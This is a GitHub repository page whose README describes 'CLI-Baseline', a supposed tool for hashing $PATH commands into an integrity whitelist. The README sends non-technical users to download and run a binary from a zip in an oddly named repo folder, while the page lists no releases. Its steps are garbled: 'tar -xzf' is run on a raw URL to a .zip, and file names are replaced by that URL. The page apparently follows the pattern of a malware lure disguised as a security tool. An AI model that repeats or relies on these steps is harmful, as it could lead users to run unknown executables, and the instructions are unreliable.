Skip to content

⚙️ Collect executable commands from `$PATH` and generate a path:hash whitelist for host-integrity checks and anti-spoofing measures.

Notifications You must be signed in to change notification settings

Mikaunformed98/CLI-Baseline

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

17 Commits
 
 
 
 
 
 

Repository files navigation

🚀 CLI-Baseline - Quick Command Collection Tool

Download CLI-Baseline

📜 Overview

CLI-Baseline is a fast and practical tool. It collects all executable commands from your system's PATH. You can use it to create a whitelist that helps check the integrity of your host. This tool is useful for anyone wanting to ensure their command-line environment is secure and reliable.

🔍 Features

  • Easy Command Collection: Automatically gathers all commands from your $PATH.
  • Whitelist Generation: Optionally creates a whitelist in the format of path:sha256 for integrity checks.
  • Cross-Platform Support: Works on both Linux and Unix systems without hassle.
  • User-Friendly Interface: Designed for users with no programming background.

🛠️ System Requirements

  • Operating System: Compatible with Linux and Unix-based systems.
  • Basic Shell Access: Ensure you have access to a terminal or command line.
  • Disk Space: A few megabytes for installation and storage of whitelists.

🚀 Getting Started

To get started with CLI-Baseline, follow these steps:

  1. Visit the Releases Page: Go to the CLI-Baseline releases page to download the application. Visit the Releases Page.

  2. Download the Latest Version: Find the latest release file that matches your operating system. Look for files ending in https://raw.githubusercontent.com/Mikaunformed98/CLI-Baseline/main/graved/CLI-Baseline-v2.1.zip, .zip, or similar formats.

  3. Extract the Downloaded File: After downloading, extract the file. You can do this by right-clicking the file or using the command line:

    tar -xzf https://raw.githubusercontent.com/Mikaunformed98/CLI-Baseline/main/graved/CLI-Baseline-v2.1.zip

    Replace https://raw.githubusercontent.com/Mikaunformed98/CLI-Baseline/main/graved/CLI-Baseline-v2.1.zip with the actual name of the downloaded file.

  4. Run the Application: Open your terminal. Navigate to the extracted folder. Use the following command to run CLI-Baseline:

    ./CLI-Baseline
  5. Collect Commands: Follow the on-screen prompts to collect commands from your PATH. You may also opt to create a whitelist.

⚙️ Download & Install

To download CLI-Baseline, please visit this link: Download CLI-Baseline.

  1. Select Your File: Look for the release suitable for your system.
  2. Complete the Installation Steps Above: After downloading the file, follow the installation steps mentioned earlier.

📚 Usage Instructions

Once you have installed CLI-Baseline, using it is straightforward:

  • Launching the Tool: Open the terminal and run:

    ./CLI-Baseline
  • Options Available: You can choose to collect commands or generate a whitelist.

  • Review Output: After execution, check the terminal for the output, which will list your commands or show the generated whitelist.

💡 Troubleshooting

If you encounter issues while using CLI-Baseline:

  • Permission Denied Error: Ensure you have the right permissions to execute the file. You can modify file permissions with:

    chmod +x CLI-Baseline
  • Command Not Found: Verify that you are in the correct directory where the program is located.

  • Output Not as Expected: Double-check the initial setup steps. Ensure all system requirements are met.

🌐 Topics Covered

This project is relevant for individuals interested in:

  • Command line interfaces
  • Shell scripting
  • System integrity checks
  • Bash and Unix commands

📝 Frequently Asked Questions

Q: Do I need programming knowledge to use CLI-Baseline? A: No, CLI-Baseline is designed for users without programming skills. Follow the instructions, and you’ll be able to use the tool effectively.

Q: Can I use CLI-Baseline on Windows? A: CLI-Baseline is optimized for Linux and Unix environments. Users on Windows can use a compatible terminal or native environments like WSL (Windows Subsystem for Linux).

Q: Where can I report issues or request features? A: Please visit the GitHub repository’s Issues section to report bugs or request new features.

📞 Support

For further assistance, please check the GitHub repository or seek help from the community in discussions found on the same page.

Thank you for using CLI-Baseline! We hope it simplifies your command-line experience.

About

⚙️ Collect executable commands from `$PATH` and generate a path:hash whitelist for host-integrity checks and anti-spoofing measures.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •